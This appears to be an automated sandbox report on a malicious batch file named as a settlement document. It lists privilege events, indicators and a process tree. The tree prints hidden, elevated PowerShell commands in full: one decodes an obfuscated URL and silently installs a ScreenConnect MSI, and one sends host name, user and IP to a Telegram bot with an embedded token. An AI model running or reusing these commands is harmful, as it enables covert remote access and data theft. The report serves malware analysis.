Token: SeShutdownPrivilege	5572	msiexec.exe
Token: SeDebugPrivilege	5572	msiexec.exe
Token: SeAuditPrivilege	5572	msiexec.exe
Token: SeSystemEnvironmentPrivilege	5572	msiexec.exe
Token: SeChangeNotifyPrivilege	5572	msiexec.exe
Token: SeRemoteShutdownPrivilege	5572	msiexec.exe
Token: SeUndockPrivilege	5572	msiexec.exe
Token: SeSyncAgentPrivilege	5572	msiexec.exe
Token: SeEnableDelegationPrivilege	5572	msiexec.exe
Token: SeManageVolumePrivilege	5572	msiexec.exe
Token: SeImpersonatePrivilege	5572	msiexec.exe
Token: SeCreateGlobalPrivilege	5572	msiexec.exe
Token: SeRestorePrivilege	5644	msiexec.exe
Token: SeTakeOwnershipPrivilege	5644	msiexec.exe
Token: SeDebugPrivilege	5696	powershell.exe
Token: SeDebugPrivilege	5948	powershell.exe
Token: SeRestorePrivilege	5644	msiexec.exe
Token: SeTakeOwnershipPrivilege	5644	msiexec.exe
Token: SeDebugPrivilege	5236	powershell.exe
Token: SeShutdownPrivilege	5344	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5344	msiexec.exe
Token: SeCreateTokenPrivilege	5344	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	5344	msiexec.exe
Token: SeLockMemoryPrivilege	5344	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5344	msiexec.exe
Token: SeMachineAccountPrivilege	5344	msiexec.exe
Token: SeTcbPrivilege	5344	msiexec.exe
Token: SeSecurityPrivilege	5344	msiexec.exe
Token: SeTakeOwnershipPrivilege	5344	msiexec.exe
Token: SeLoadDriverPrivilege	5344	msiexec.exe
Token: SeSystemProfilePrivilege	5344	msiexec.exe
Token: SeSystemtimePrivilege	5344	msiexec.exe
Token: SeProfSingleProcessPrivilege	5344	msiexec.exe
Token: SeIncBasePriorityPrivilege	5344	msiexec.exe
Token: SeCreatePagefilePrivilege	5344	msiexec.exe
Token: SeCreatePermanentPrivilege	5344	msiexec.exe
Token: SeBackupPrivilege	5344	msiexec.exe
Token: SeRestorePrivilege	5344	msiexec.exe
Token: SeShutdownPrivilege	5344	msiexec.exe
Token: SeDebugPrivilege	5344	msiexec.exe
Token: SeAuditPrivilege	5344	msiexec.exe
Token: SeSystemEnvironmentPrivilege	5344	msiexec.exe

Suspicious use of FindShellTrayWindow 55 IoCs

pid	Process
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
5396	ScreenConnect.WindowsClient.exe
5396	ScreenConnect.WindowsClient.exe
5396	ScreenConnect.WindowsClient.exe
5396	ScreenConnect.WindowsClient.exe
5396	ScreenConnect.WindowsClient.exe
5396	ScreenConnect.WindowsClient.exe
5396	ScreenConnect.WindowsClient.exe
5396	ScreenConnect.WindowsClient.exe
5952	ScreenConnect.WindowsClient.exe
5952	ScreenConnect.WindowsClient.exe
2120	ScreenConnect.WindowsClient.exe
2120	ScreenConnect.WindowsClient.exe
2120	ScreenConnect.WindowsClient.exe

Suspicious use of SendNotifyMessage 43 IoCs

pid	Process
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
5396	ScreenConnect.WindowsClient.exe
5396	ScreenConnect.WindowsClient.exe
5396	ScreenConnect.WindowsClient.exe
5396	ScreenConnect.WindowsClient.exe
5396	ScreenConnect.WindowsClient.exe
5396	ScreenConnect.WindowsClient.exe
5396	ScreenConnect.WindowsClient.exe
5396	ScreenConnect.WindowsClient.exe
2120	ScreenConnect.WindowsClient.exe
2120	ScreenConnect.WindowsClient.exe
2120	ScreenConnect.WindowsClient.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2132	ScreenConnect.WindowsBackstageShell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1544 wrote to memory of 728	1544	msedge.exe	86
PID 1544 wrote to memory of 2284	1544	msedge.exe	87
PID 1544 wrote to memory of 2792	1544	msedge.exe	88
PID 1544 wrote to memory of 2792	1544	msedge.exe	88
PID 1544 wrote to memory of 2792	1544	msedge.exe	88
PID 1544 wrote to memory of 1324	1544	msedge.exe	89
PID 1544 wrote to memory of 1324	1544	msedge.exe	89
PID 1544 wrote to memory of 3032	1544	msedge.exe	91
PID 1544 wrote to memory of 4268	1544	msedge.exe	92
PID 1544 wrote to memory of 3032	1544	msedge.exe	91
PID 1544 wrote to memory of 3032	1544	msedge.exe	91
PID 1544 wrote to memory of 4268	1544	msedge.exe	92
PID 1544 wrote to memory of 4268	1544	msedge.exe	92
PID 1544 wrote to memory of 2612	1544	msedge.exe	93
PID 1544 wrote to memory of 4556	1544	msedge.exe	94
PID 1544 wrote to memory of 2612	1544	msedge.exe	93
PID 1544 wrote to memory of 2612	1544	msedge.exe	93
PID 1544 wrote to memory of 4556	1544	msedge.exe	94
PID 1544 wrote to memory of 4556	1544	msedge.exe	94
PID 1544 wrote to memory of 2164	1544	msedge.exe	100
PID 1544 wrote to memory of 2068	1544	msedge.exe	101
PID 1544 wrote to memory of 2164	1544	msedge.exe	100
PID 1544 wrote to memory of 2068	1544	msedge.exe	101
PID 1544 wrote to memory of 1492	1544	msedge.exe	103
PID 1544 wrote to memory of 2772	1544	msedge.exe	106
PID 1544 wrote to memory of 2772	1544	msedge.exe	106
PID 1544 wrote to memory of 2944	1544	msedge.exe	107
PID 1544 wrote to memory of 2944	1544	msedge.exe	107
PID 1544 wrote to memory of 2944	1544	msedge.exe	107
PID 1544 wrote to memory of 988	1544	msedge.exe	108
PID 1544 wrote to memory of 3304	1544	msedge.exe	112
PID 3304 wrote to memory of 4452	3304	cmd.exe	116
PID 4452 wrote to memory of 5272	4452	powershell.exe	117
PID 5272 wrote to memory of 5324	5272	cmd.exe	119
PID 5272 wrote to memory of 5572	5272	cmd.exe	120
PID 1544 wrote to memory of 5596	1544	msedge.exe	121
PID 5596 wrote to memory of 5696	5596	cmd.exe	124
PID 5696 wrote to memory of 5840	5696	powershell.exe	125
PID 5840 wrote to memory of 5948	5840	cmd.exe	127
PID 5644 wrote to memory of 6064	5644	msiexec.exe	128
PID 6064 wrote to memory of 6128	6064	MsiExec.exe	129
PID 5272 wrote to memory of 5236	5272	cmd.exe	130
PID 5840 wrote to memory of 5344	5840	cmd.exe	132
PID 5644 wrote to memory of 5328	5644	msiexec.exe	133
PID 5328 wrote to memory of 2252	5328	MsiExec.exe	134
PID 5644 wrote to memory of 6008	5644	msiexec.exe	135
PID 1544 wrote to memory of 6096	1544	msedge.exe	138
PID 1544 wrote to memory of 5180	1544	msedge.exe	139
PID 1544 wrote to memory of 6084	1544	msedge.exe	140
PID 2956 wrote to memory of 5396	2956	ScreenConnect.ClientService.exe	141
PID 5840 wrote to memory of 5268	5840	cmd.exe	142
PID 2956 wrote to memory of 5064	2956	ScreenConnect.ClientService.exe	143
PID 1544 wrote to memory of 6128	1544	msedge.exe	146
PID 1544 wrote to memory of 6128	1544	msedge.exe	146
PID 2956 wrote to memory of 5688	2956	ScreenConnect.ClientService.exe	147
PID 2956 wrote to memory of 5348	2956	ScreenConnect.ClientService.exe	149
PID 2956 wrote to memory of 2132	2956	ScreenConnect.ClientService.exe	150
PID 2956 wrote to memory of 5952	2956	ScreenConnect.ClientService.exe	151
PID 2132 wrote to memory of 5756	2132	ScreenConnect.WindowsBackstageShell.exe	152
PID 5756 wrote to memory of 5792	5756	PowerShell.exe	154
PID 5644 wrote to memory of 3212	5644	msiexec.exe	155
PID 3212 wrote to memory of 1640	3212	MsiExec.exe	156
PID 5308 wrote to memory of 3544	5308	ScreenConnect.ClientService.exe	159
PID 5308 wrote to memory of 1756	5308	ScreenConnect.ClientService.exe	160

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --disable-default-apps --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://talent.qpon/invite
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1544
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x238,0x23c,0x240,0x234,0x2b0,0x7ffb20eec188,0x7ffb20eec194,0x7ffb20eec1a0
  2⤵
  PID:728
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1948,i,31650567127064636,14725342842938721488,524288 --field-trial-handle=2128,i,14229520517394881895,3135427947439145855,262144 --variations-seed-version --mojo-platform-channel-handle=2324 /prefetch:3
  2⤵
  - System Time Discovery
  PID:2284
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1744,i,6654028260132302231,10028720726454671825,262144 --field-trial-handle=2128,i,14229520517394881895,3135427947439145855,262144 --variations-seed-version --mojo-platform-channel-handle=2144 /prefetch:2
  2⤵
  PID:2792
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2592,i,8051724503075783541,17210676718428919800,524288 --field-trial-handle=2128,i,14229520517394881895,3135427947439145855,262144 --variations-seed-version --mojo-platform-channel-handle=2732 /prefetch:8
  2⤵
  PID:1324
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3432,i,829270710368230152,14948143231647398734,2097152 --field-trial-handle=2128,i,14229520517394881895,3135427947439145855,262144 --variations-seed-version --mojo-platform-channel-handle=3508 /prefetch:1
  2⤵
  PID:3032
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3436,i,14958182117575837794,8276889379359742747,2097152 --field-trial-handle=2128,i,14229520517394881895,3135427947439145855,262144 --variations-seed-version --mojo-platform-channel-handle=3512 /prefetch:1
  2⤵
  PID:4268
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4172,i,16713754308538164316,12914721006099130270,2097152 --field-trial-handle=2128,i,14229520517394881895,3135427947439145855,262144 --variations-seed-version --mojo-platform-channel-handle=4176 /prefetch:1
  2⤵
  PID:2612
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4236,i,4348788483827799277,11099810412798233898,2097152 --field-trial-handle=2128,i,14229520517394881895,3135427947439145855,262144 --variations-seed-version --mojo-platform-channel-handle=4204 /prefetch:2
  2⤵
  PID:4556
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5116,i,10902818596618209987,16706705827478161204,524288 --field-trial-handle=2128,i,14229520517394881895,3135427947439145855,262144 --variations-seed-version --mojo-platform-channel-handle=5172 /prefetch:8
  2⤵
  PID:2164
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5140,i,13383687236863375404,15301372983021720866,524288 --field-trial-handle=2128,i,14229520517394881895,3135427947439145855,262144 --variations-seed-version --mojo-platform-channel-handle=5060 /prefetch:8
  2⤵
  PID:2068
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5808,i,13468887820904173516,16236961710967385094,524288 --field-trial-handle=2128,i,14229520517394881895,3135427947439145855,262144 --variations-seed-version --mojo-platform-channel-handle=5816 /prefetch:8
  2⤵
  PID:656
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5808,i,13468887820904173516,16236961710967385094,524288 --field-trial-handle=2128,i,14229520517394881895,3135427947439145855,262144 --variations-seed-version --mojo-platform-channel-handle=5816 /prefetch:8
  2⤵
  PID:1492
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6256,i,15761274967361949038,8120397663774498868,524288 --field-trial-handle=2128,i,14229520517394881895,3135427947439145855,262144 --variations-seed-version --mojo-platform-channel-handle=6260 /prefetch:8
  2⤵
  PID:2772
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=6424,i,13462160407828762932,5313513157867134542,2097152 --field-trial-handle=2128,i,14229520517394881895,3135427947439145855,262144 --variations-seed-version --mojo-platform-channel-handle=6420 /prefetch:1
  2⤵
  PID:2944
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6572,i,7329161095541350059,3438393005454408286,524288 --field-trial-handle=2128,i,14229520517394881895,3135427947439145855,262144 --variations-seed-version --mojo-platform-channel-handle=6588 /prefetch:8
  2⤵
  PID:988
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\Q12-2026SETTLEMENT.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3304
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& { Start-Process cmd -ArgumentList '/c','\"C:\Users\Admin\Downloads\Q12-2026SETTLEMENT.bat\" HIDDEN' -Verb RunAs -WindowStyle Hidden }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4452
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\Downloads\Q12-2026SETTLEMENT.bat" HIDDEN
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5272
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "try { $s='104116116112115058047047098097105103101116114099046115051046117115045101097115116045050046097109097122111110097119115046099111109047083099114101101110067111110110101099116046067108105101110116083101116117112046109115105'; $bytes=@(); for($i=0;$i -lt $s.Length;$i+=3){ $bytes+=[byte]($s.Substring($i,3)) }; $u=[System.Text.Encoding]::ASCII.GetString($bytes); $ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri $u -OutFile 'C:\Users\Admin\AppData\Local\Temp\~temp.msi' -UseBasicParsing } catch {}"
        5⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5324
    - - C:\Windows\system32\msiexec.exe
        
        msiexec /i "C:\Users\Admin\AppData\Local\Temp\~temp.msi" /quiet /qn /norestart
        5⤵
        Enumerates connected drives
        Suspicious use of AdjustPrivilegeToken
        
        PID:5572
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$token='8723817827:AAEfo4zFxtKnGMqHTCp5uTRSd4XQZzYkJ_8';$chat='8125456434';$pc=$env:COMPUTERNAME;$user=$env:USERNAME;$ip=(Invoke-WebRequest -Uri 'https://api.ipify.org' -UseBasicParsing).Content.Trim();$msg=[uri]::EscapeDataString('UAC Approved'+[char]10+'PC: '+$pc+[char]10+'User: '+$user+[char]10+'IP: '+$ip);Invoke-WebRequest -Uri ('https://api.telegram.org/bot'+$token+'/sendMessage?chat_id='+$chat+'&text='+$msg) -UseBasicParsing|Out-Null"
        5⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5236
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\Q12-2026SETTLEMENT.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5596
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& { Start-Process cmd -ArgumentList '/c','\"C:\Users\Admin\Downloads\Q12-2026SETTLEMENT.bat\" HIDDEN' -Verb RunAs -WindowStyle Hidden }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5696
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\Downloads\Q12-2026SETTLEMENT.bat" HIDDEN
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5840
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "try { $s='104116116112115058047047098097105103101116114099046115051046117115045101097115116045050046097109097122111110097119115046099111109047083099114101101110067111110110101099116046067108105101110116083101116117112046109115105'; $bytes=@(); for($i=0;$i -lt $s.Length;$i+=3){ $bytes+=[byte]($s.Substring($i,3)) }; $u=[System.Text.Encoding]::ASCII.GetString($bytes); $ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri $u -OutFile 'C:\Users\Admin\AppData\Local\Temp\~temp.msi' -UseBasicParsing } catch {}"
        5⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5948
    - - C:\Windows\system32\msiexec.exe
        
        msiexec /i "C:\Users\Admin\AppData\Local\Temp\~temp.msi" /quiet /qn /norestart
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5344
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$token='8723817827:AAEfo4zFxtKnGMqHTCp5uTRSd4XQZzYkJ_8';$chat='8125456434';$pc=$env:COMPUTERNAME;$user=$env:USERNAME;$ip=(Invoke-WebRequest -Uri 'https://api.ipify.org' -UseBasicParsing).Content.Trim();$msg=[uri]::EscapeDataString('UAC Approved'+[char]10+'PC: '+$pc+[char]10+'User: '+$user+[char]10+'IP: '+$ip);Invoke-WebRequest -Uri ('https://api.telegram.org/bot'+$token+'/sendMessage?chat_id='+$chat+'&text='+$msg) -UseBasicParsing|Out-Null"
        5⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5268
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4500,i,9879390421136827449,15075726093239051594,524288 --field-trial-handle=2128,i,14229520517394881895,3135427947439145855,262144 --variations-seed-version --mojo-platform-channel-handle=4464 /prefetch:8
  2⤵
  PID:6096
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4488,i,14578247495842936589,1584380043066353854,524288 --field-trial-handle=2128,i,14229520517394881895,3135427947439145855,262144 --variations-seed-version --mojo-platform-channel-handle=4452 /prefetch:8
  2⤵
  PID:5180
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4472,i,3307021914590422861,5101751921190086507,524288 --field-trial-handle=2128,i,14229520517394881895,3135427947439145855,262144 --variations-seed-version --mojo-platform-channel-handle=4428 /prefetch:8
  2⤵
  PID:6084
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6316,i,9933000700219356511,6195082450025635263,524288 --field-trial-handle=2128,i,14229520517394881895,3135427947439145855,262144 --variations-seed-version --mojo-platform-channel-handle=6404 /prefetch:8
  2⤵
  PID:6128
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5972,i,17021225808671789781,11953451281644425429,262144 --field-trial-handle=2128,i,14229520517394881895,3135427947439145855,262144 --variations-seed-version --mojo-platform-channel-handle=6256 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5408

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:1724

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Badlisted process makes network request
- Enumerates connected drives
- Boot or Logon Autostart Execution: Authentication Package
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5644
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 410267E20156F3D3AAB32284AF051FAA
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:6064
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Windows\Installer\MSI52AF.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240669562 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    - Loads dropped DLL
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:6128
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 6DF597039E5BB948DC331867319883F4
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5328
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Windows\Installer\MSI7490.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240678671 12 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    - Loads dropped DLL
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:2252
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 6DBE37458A0799A6AE19C2464F3E601F E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  PID:6008
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding BB3CE13FB3CD5DF4FC2E19E3ACF6300B E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3212
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Windows\Installer\MSI75C9.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240743953 31 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    - Loads dropped DLL
    - Drops file in System32 directory
    - Drops file in Windows directory
